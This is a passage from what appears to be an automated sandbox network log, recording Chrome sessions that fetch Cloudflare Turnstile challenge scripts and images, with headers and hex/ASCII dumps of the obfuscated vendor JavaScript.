6f 72 3a 20 77 68 69 74 65 3b Data Ascii: margin: 0; cursor: pointer; width: 24px; height: 24px;}.cb-lb input:active ~ .cb-i { border: 2px solid #c44d0e;}.cb-lb input:checked ~ .cb-i { transform: rotate(0deg) scale(1); opacity: 1; border-radius: 5px; background-color: white;
2024-08-23 14:21:13 UTC	1369	IN	Data Raw: 61 6e 64 69 6e 67 20 7b 0a 20 20 66 6c 65 78 2d 66 6c 6f 77 3a 20 72 6f 77 2d 72 65 76 65 72 73 65 20 77 72 61 70 3b 0a 20 20 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 20 66 6c 65 78 2d 73 74 61 72 74 3b 0a 20 20 61 6c 69 67 6e 2d 73 65 6c 66 3a 20 66 6c 65 78 2d 65 6e 64 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 31 32 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 65 72 6d 73 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 71 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 73 69 7a Data Ascii: anding { flex-flow: row-reverse wrap; place-content: center flex-start; align-self: flex-end; margin: 0 12px; padding-right: 0; text-align: right;}.size-compact #terms { text-align: right;}.size-compact #qr { text-align: center;}.siz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49711	104.18.94.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:14 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8b7bbf6dd949c43b&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/pgbyu/0x4AAAAAAAhkfK1nz8jjG-wE/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:14 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:14 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 120252 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8b7bbf74f8834339-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:14 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 5a 63 51 66 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.ZcQf2={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcep
2024-08-23 14:21:14 UTC	1369	IN	Data Raw: 6e 67 2e 2e 2e 22 2c 22 69 6e 76 61 6c 69 64 5f 73 69 74 65 6b 65 79 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 73 69 74 65 6b 65 79 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 73 75 63 63 65 73 73 22 3a 22 53 75 63 63 65 73 73 25 32 31 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 Data Ascii: ng...","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_footer_privacy":"Privacy","turnstile_success":"Success%21","turnstile_feedback_description":"Send%20Feedback","turnstile_feed
2024-08-23 14:21:14 UTC	1369	IN	Data Raw: 72 73 65 49 6e 74 28 67 48 28 37 37 37 29 29 2f 31 30 2a 28 70 61 72 73 65 49 6e 74 28 67 48 28 31 38 39 32 29 29 2f 31 31 29 2b 70 61 72 73 65 49 6e 74 28 67 48 28 36 34 30 29 29 2f 31 32 2a 28 70 61 72 73 65 49 6e 74 28 67 48 28 31 33 32 38 29 29 2f 31 33 29 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 37 38 32 31 31 38 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 49 28 31 38 37 39 29 5d 2c 65 4d 5b 67 49 28 31 33 35 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 4a 2c 64 2c 65 2c 66 2c 67 29 7b 67 4a 3d 67 49 2c 64 3d 7b 7d 2c 64 5b 67 4a 28 36 31 32 29 5d 3d 66 75 6e 63 74 69 6f Data Ascii: rseInt(gH(777))/10(parseInt(gH(1892))/11)+parseInt(gH(640))/12(parseInt(gH(1328))/13),d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,782118),eM=this\|\|self,eN=eM[gI(1879)],eM[gI(1353)]=function(gJ,d,e,f,g){gJ=gI,d={},d[gJ(612)]=functio
2024-08-23 14:21:14 UTC	1369	IN	Data Raw: 28 67 4c 28 35 34 38 29 2c 67 4c 28 31 37 39 38 29 29 2c 73 3d 7b 7d 2c 73 5b 67 4c 28 35 39 36 29 5d 3d 66 2c 73 2e 63 63 3d 67 2c 73 5b 67 4c 28 38 37 37 29 5d 3d 6b 2c 78 3d 4a 53 4f 4e 5b 67 4c 28 36 37 35 29 5d 28 73 29 2c 42 3d 67 44 5b 67 4c 28 31 31 32 32 29 5d 28 78 29 5b 67 4c 28 31 36 38 35 29 5d 28 27 2b 27 2c 67 4c 28 38 34 35 29 29 2c 6e 5b 67 4c 28 31 38 35 33 29 5d 28 6a 5b 67 4c 28 31 37 34 35 29 5d 28 6a 5b 67 4c 28 31 37 34 35 29 5d 28 27 76 5f 27 2c 65 4d 5b 67 4c 28 31 31 39 39 29 5d 5b 67 4c 28 31 32 36 31 29 5d 29 2c 27 3d 27 29 2b 42 29 7d 63 61 74 63 68 28 43 29 7b 7d 7d 2c 65 4d 5b 67 49 28 37 32 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 2c 67 2c 68 2c 67 4d 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 67 4d 3d 67 49 2c 69 Data Ascii: (gL(548),gL(1798)),s={},s[gL(596)]=f,s.cc=g,s[gL(877)]=k,x=JSON[gL(675)](s),B=gD[gL(1122)](x)[gL(1685)]('+',gL(845)),n[gL(1853)](j[gL(1745)](j[gL(1745)]('v_',eM[gL(1199)][gL(1261)]),'=')+B)}catch(C){}},eM[gI(721)]=function(d,e,f,g,h,gM,i,j,k,l,m){(gM=gI,i
2024-08-23 14:21:14 UTC	1369	IN	Data Raw: 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 2c 66 6e 29 7d 29 2c 66 70 3d 21 5b 5d 2c 21 65 53 28 67 49 28 31 32 38 30 29 29 26 26 28 66 51 28 29 2c 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 69 75 2c 63 2c 64 2c 65 29 7b 69 75 3d 67 49 2c 63 3d 7b 27 6e 55 46 58 75 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 2c 27 4c 49 6d 74 71 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 2d 67 7d 7d 2c 64 3d 65 4d 5b 69 75 28 31 31 39 39 29 5d 5b 69 75 28 38 31 36 29 5d 7c 7c 31 65 34 2c 65 3d 63 5b 69 75 28 37 34 37 29 5d 28 66 4f 29 2c 21 65 4d 5b 69 75 28 37 33 35 29 5d 26 26 21 66 71 28 29 26 26 21 65 4d 5b 69 75 28 36 30 36 29 5d 5b 69 75 28 31 38 30 36 29 5d 26 26 63 5b 69 75 28 31 36 35 33 Data Ascii: clearInterval,fn)}),fp=![],!eS(gI(1280))&&(fQ(),setInterval(function(iu,c,d,e){iu=gI,c={'nUFXu':function(f){return f()},'LImtq':function(f,g){return f-g}},d=eM[iu(1199)][iu(816)]\|\|1e4,e=c[iu(747)](fO),!eM[iu(735)]&&!fq()&&!eM[iu(606)][iu(1806)]&&c[iu(1653
2024-08-23 14:21:14 UTC	1369	IN	Data Raw: 63 78 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 7d 2c 6f 5b 6a 46 28 38 31 38 29 5d 28 6e 75 6c 6c 2c 68 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 68 29 72 65 74 75 72 6e 20 6a 3b 66 6f 72 28 78 3d 6f 5b 6a 46 28 31 37 36 36 29 5d 28 67 7a 2c 68 29 2c 67 5b 6a 46 28 31 36 35 36 29 5d 5b 6a 46 28 31 30 38 30 29 5d 26 26 28 78 3d 78 5b 6a 46 28 31 30 36 34 29 5d 28 67 5b 6a 46 28 31 36 35 36 29 5d 5b 6a 46 28 31 30 38 30 29 5d 28 68 29 29 29 2c 78 3d 67 5b 6a 46 28 31 30 31 37 29 5d 5b 6a 46 28 31 32 33 35 29 5d 26 26 67 5b 6a 46 28 31 38 32 34 29 5d 3f 67 5b 6a 46 28 31 30 31 37 29 5d 5b 6a 46 28 31 32 33 35 29 5d 28 6e 65 77 20 67 5b 28 6a 46 28 31 38 32 34 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 6a 48 2c Data Ascii: cx':function(G,H){return G+H}},o[jF(818)](null,h)\|\|void 0===h)return j;for(x=o[jF(1766)](gz,h),g[jF(1656)][jF(1080)]&&(x=x[jF(1064)](g[jF(1656)][jF(1080)](h))),x=g[jF(1017)][jF(1235)]&&g[jF(1824)]?g[jF(1017)][jF(1235)](new g[(jF(1824))](x)):function(G,jH,
2024-08-23 14:21:14 UTC	1369	IN	Data Raw: 2c 67 5b 6c 5d 29 7b 66 6f 72 28 6d 3d 30 3b 69 5b 6a 4b 28 31 38 31 30 29 5d 28 6d 2c 68 5b 6a 5b 6b 5d 5d 5b 6a 4b 28 36 32 34 29 5d 29 3b 2d 31 3d 3d 3d 67 5b 6c 5d 5b 6a 4b 28 31 37 37 39 29 5d 28 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 26 26 28 69 5b 6a 4b 28 31 31 36 35 29 5d 28 67 42 2c 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 7c 7c 67 5b 6c 5d 5b 6a 4b 28 31 34 35 37 29 5d 28 69 5b 6a 4b 28 31 34 31 34 29 5d 28 27 6f 2e 27 2c 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 29 29 2c 6d 2b 2b 29 3b 7d 65 6c 73 65 20 67 5b 6c 5d 3d 68 5b 6a 5b 6b 5d 5d 5b 6a 4b 28 31 32 39 37 29 5d 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 27 6f 2e 27 2b 6e 7d 29 7d 2c 67 43 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 6a 4c 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 66 6f 72 28 6a 4c Data Ascii: ,g[l]){for(m=0;i[jK(1810)](m,h[j[k]][jK(624)]);-1===g[l][jK(1779)](h[j[k]][m])&&(i[jK(1165)](gB,h[j[k]][m])\|\|g[l][jK(1457)](i[jK(1414)]('o.',h[j[k]][m]))),m++);}else g[l]=h[j[k]][jK(1297)](function(n){return'o.'+n})},gC=function(f,jL,g,h,i,j,k,l,m){for(jL
2024-08-23 14:21:14 UTC	1369	IN	Data Raw: 3c 69 7d 2c 27 53 5a 46 79 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 76 58 72 62 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 76 6d 4c 6d 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 61 48 76 6a 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6c 4e 42 4f 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 68 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 6a 4e 28 31 32 31 39 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 68 3d 3d 6e 75 6c 6c 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 69 2c Data Ascii: <i},'SZFyq':function(h,i){return i*h},'vXrbx':function(h,i){return i!=h},'vmLmc':function(h,i){return i!=h},'aHvjQ':function(h,i){return h(i)},'lNBOZ':function(h,i){return i===h}},e=String[jN(1219)],f={'h':function(h){return h==null?'':f.g(h,6,function(i,
2024-08-23 14:21:14 UTC	1369	IN	Data Raw: 6a 50 28 31 35 31 39 29 5d 28 53 74 72 69 6e 67 2c 4e 29 29 7d 7d 65 6c 73 65 20 52 3d 7b 7d 2c 52 5b 6a 50 28 38 37 37 29 5d 3d 6a 50 28 31 35 35 36 29 2c 52 5b 6a 50 28 31 38 33 39 29 5d 3d 52 5b 6a 50 28 31 31 39 39 29 5d 5b 6a 50 28 31 30 36 30 29 5d 2c 52 5b 6a 50 28 31 33 34 38 29 5d 3d 6a 50 28 37 34 32 29 2c 52 5b 6a 50 28 35 33 32 29 5d 3d 4d 5b 6a 50 28 31 31 39 39 29 5d 5b 6a 50 28 35 39 35 29 5d 2c 52 5b 6a 50 28 31 38 36 39 29 5d 3d 73 2c 52 5b 6a 50 28 37 35 37 29 5d 3d 4e 5b 6a 50 28 31 31 39 39 29 5d 5b 6a 50 28 31 38 33 32 29 5d 2c 52 5b 6a 50 28 31 34 31 39 29 5d 3d 47 5b 6a 50 28 31 31 39 39 29 5d 5b 6a 50 28 34 36 34 29 5d 2c 78 5b 42 5b 6a 50 28 31 34 35 35 29 5d 5d 5b 6a 50 28 31 33 38 32 29 5d 28 52 2c 27 2a 27 29 3b 69 66 28 64 5b Data Ascii: jP(1519)](String,N))}}else R={},R[jP(877)]=jP(1556),R[jP(1839)]=R[jP(1199)][jP(1060)],R[jP(1348)]=jP(742),R[jP(532)]=M[jP(1199)][jP(595)],R[jP(1869)]=s,R[jP(757)]=N[jP(1199)][jP(1832)],R[jP(1419)]=G[jP(1199)][jP(464)],x[B[jP(1455)]][jP(1382)](R,'*');if(d[
2024-08-23 14:21:14 UTC	1369	IN	Data Raw: 6a 51 28 38 37 32 29 2b 67 28 68 29 2b 6a 51 28 38 31 39 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 6a 53 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4d 2c 4c 29 7b 66 6f 72 28 6a 53 3d 6a 4e 2c 73 3d 5b 5d 2c 78 3d 34 2c 42 3d 34 2c 43 3d 33 2c 44 3d 5b 5d 2c 47 3d 6f 28 30 29 2c 48 3d 6a 2c 49 3d 31 2c 45 3d 30 3b 64 5b 6a 53 28 31 32 30 37 29 5d 28 33 2c 45 29 3b 73 5b 45 5d 3d 45 2c 45 2b 3d 31 29 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 6a 53 28 31 30 31 38 29 5d 28 32 2c 32 29 2c 46 3d 31 3b 4b 21 3d 46 3b 4c 3d 47 26 48 2c 48 3e 3e 3d 31 2c 48 3d 3d 30 26 26 28 48 3d 6a 2c 47 3d 64 5b 6a 53 28 31 32 38 38 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 46 2a 28 30 3c 4c 3f 31 3a 30 29 2c 46 3c Data Ascii: jQ(872)+g(h)+jQ(819)},'i':function(i,j,o,jS,s,x,B,C,D,E,F,G,H,I,J,K,M,L){for(jS=jN,s=[],x=4,B=4,C=3,D=[],G=o(0),H=j,I=1,E=0;d[jS(1207)](3,E);s[E]=E,E+=1);for(J=0,K=Math[jS(1018)](2,2),F=1;K!=F;L=G&H,H>>=1,H==0&&(H=j,G=d[jS(1288)](o,I++)),J\|=F*(0<L?1:0),F<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49713	104.18.94.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:14 UTC	795	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/pgbyu/0x4AAAAAAAhkfK1nz8jjG-wE/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:14 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:14 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8b7bbf75d9d232e2-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:14 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49715	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:15 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:15 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:15 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8b7bbf7a2d911879-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:15 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49717	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:15 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8b7bbf6dd949c43b&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:15 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:15 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 126656 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8b7bbf7aba85435e-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:15 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 5a 63 51 66 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.ZcQf2={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcl
2024-08-23 14:21:15 UTC	1369	IN	Data Raw: 65 70 6f 72 74 20 68 61 73 20 62 65 65 6e 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 73 75 62 6d 69 74 74 65 64 22 2c 22 68 75 6d 61 6e 5f 62 75 74 74 6f 6e 5f 74 65 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 72 65 66 72 65 73 68 22 3a 22 52 65 66 72 65 73 68 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 Data Ascii: eport has been successfully submitted","human_button_text":"Verify%20you%20are%20human","turnstile_refresh":"Refresh","turnstile_feedback_report":"Having%20trouble%3F","turnstile_footer_privacy":"Privacy","turnstile_feedback_description":"Send%20Feedback"
2024-08-23 14:21:15 UTC	1369	IN	Data Raw: 70 61 72 73 65 49 6e 74 28 67 48 28 31 35 35 38 29 29 2f 31 30 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 34 38 30 38 35 32 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 49 28 38 31 33 29 5d 2c 65 4d 5b 67 49 28 33 33 31 29 5d 3d 21 5b 5d 2c 65 4d 5b 67 49 28 31 35 33 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 30 29 7b 69 66 28 68 30 3d 67 49 2c 65 4d 5b 68 30 28 33 33 31 29 5d 29 72 65 74 75 72 6e 3b 65 4d 5b 68 30 28 33 33 31 29 5d 3d 21 21 5b 5d 7d 2c 65 55 3d 30 2c 65 4e 5b 67 49 28 38 32 38 29 5d 3d 3d 3d 67 49 28 31 35 38 37 29 3f 65 4e 5b 67 49 28 31 33 31 35 29 5d 28 67 Data Ascii: parseInt(gH(1558))/10,d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,480852),eM=this\|\|self,eN=eM[gI(813)],eM[gI(331)]=![],eM[gI(1536)]=function(h0){if(h0=gI,eM[h0(331)])return;eM[h0(331)]=!![]},eU=0,eN[gI(828)]===gI(1587)?eN[gI(1315)](g
2024-08-23 14:21:15 UTC	1369	IN	Data Raw: 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 43 5b 68 51 28 31 37 37 29 5d 28 6f 2c 78 2c 21 21 5b 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 43 5b 68 51 28 31 30 37 33 29 5d 3d 32 35 30 30 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 35 27 3a 43 5b 68 51 28 31 35 37 29 5d 28 6a 5b 68 51 28 36 32 34 29 5d 28 27 76 5f 27 2c 65 4d 5b 68 51 28 31 32 34 33 29 5d 5b 68 51 28 34 38 34 29 5d 29 2b 27 3d 27 2b 73 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 36 27 3a 78 3d 6a 5b 68 51 28 38 30 38 29 5d 28 6a 5b 68 51 28 31 30 33 36 29 5d 2b 44 2c 6a 5b 68 51 28 35 39 37 29 5d 29 2b 31 2b 68 51 28 31 33 38 38 29 2b 65 4d 5b 68 51 28 31 32 34 33 29 5d 5b 68 51 28 34 38 34 29 5d 2b 27 2f 27 2b 65 4d 5b 68 51 28 31 32 34 33 29 5d 5b 68 51 28 Data Ascii: 